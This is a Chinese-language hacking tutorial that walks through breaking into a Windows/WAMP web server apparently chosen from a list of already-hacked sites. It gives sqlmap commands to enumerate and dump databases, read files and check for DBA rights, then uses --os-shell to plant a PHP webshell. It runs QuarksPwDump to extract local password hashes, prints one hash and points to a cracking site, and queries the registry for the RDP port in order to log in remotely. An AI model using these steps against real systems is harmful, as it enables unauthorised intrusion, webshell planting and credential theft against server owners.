win环境下使用sqlmap写shell + MYSQL提权(默认就是system权限)

小程序：扫一扫查出行
【扫一扫了解最新限行尾号】
复制小程序

今天在来一个mysql提权 (也可以说是默认system权限提的)

在被黑站点找到一个站
先教拿shell
是有注入漏洞的有可能是root权限的注入点

可以确定是有注入漏洞的也得到了物理路径这个是很有用的如果是root权限的注入点那我们可以考虑写shell
D:\wamp\www\js\content.php 有时候物理路径是很有用的
上sqlmap注入使用命令这个是mysql数据库的

sqlmap.py -u 注入点 --current-user # /*获取当前用户名称

sqlmap.py -u 注入点 --current-db # /*获取当前数据库名称
sqlmap.py -u 注入点 -D "数据库名" -T "表名" --tables
sqlmap.py -u 注入点 -D "数据库名" -T "表名" --columns
sqlmap.py -u 注入点 -D "数据库名" -T "表名" -C "字段" --dump
sqlmap.py -u 注入点 --file-read "文件名"#读取文件load_file()
sqlmap.py -u 注入点 --is-dba #是否是数据库管理员
sqlmap.py -u 注入点 --passwords #数据库用户密码
这个是win环境的安装的sqlmap 不是linux环境安装的使用方法多了(.py)
好了看一下是什么权限注入点
sqlmap.py -u 注入点 --current-user # /*获取当前用户名称

如图我们看到了是什么环境 win + 阿帕奇注入点是root权限
current user: 'root@localhost'
好了知道是什么权限了现在就来写shell 写shell前提条件 (1.必须是root权限 2.必须知道网站路径 3.GPC设置为off 就可以写shell了)
以上3个我们都达到了至于第三个因为php默认GPC设置都是为off
D:\wamp\www\js\content.php 物理路径继续
命令
sqlmap.py -u 注入点 --os-shell
如图

这里它让你选择木马脚本这里我们都是用第3个

确认提下两下刚刚得到的路径D:\wamp\www\js\
之后回车

得到了一个shell js\tmpuyqwq.php

shell 拿到了现在就是提权了我有个习惯就是php提权的时候每次都会使用一下自带的执行命令

我运气太好了呵呵当然也可以用mysql提也就是udf (版本5.0的默认导出dll就可以)
好了现在就是添加用户或者抓哈希值 (我就不提交用户了抓个哈希值)
使用国外神器 QuarksPwDump.exe 使用命令
路径\quarkspwdump.exe --dump-hash-local --output 路径\1.txt

好了得到 1.txt 也就是哈希值文本

得到这个然后复制 14EFBCC05C9817DBAAD3B435B51404EE:D8BB76D4A8CE4E34810C1BB045697B45
去http://www.objectif-securite.ch/ophcrack.php这个网站破解.

得到明文现在就是找一下远程端口在此教一个快速找远程端口的方法
使用dns命令
查看终端命令：REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber

得到这个 0xd3d 有基础的一点知道就是默认10进制的3389 也就是默认远程端口
不知道也没关系
如图:

ok 3389 登录服务器看看

到此教程完毕转载的朋友请联系作者id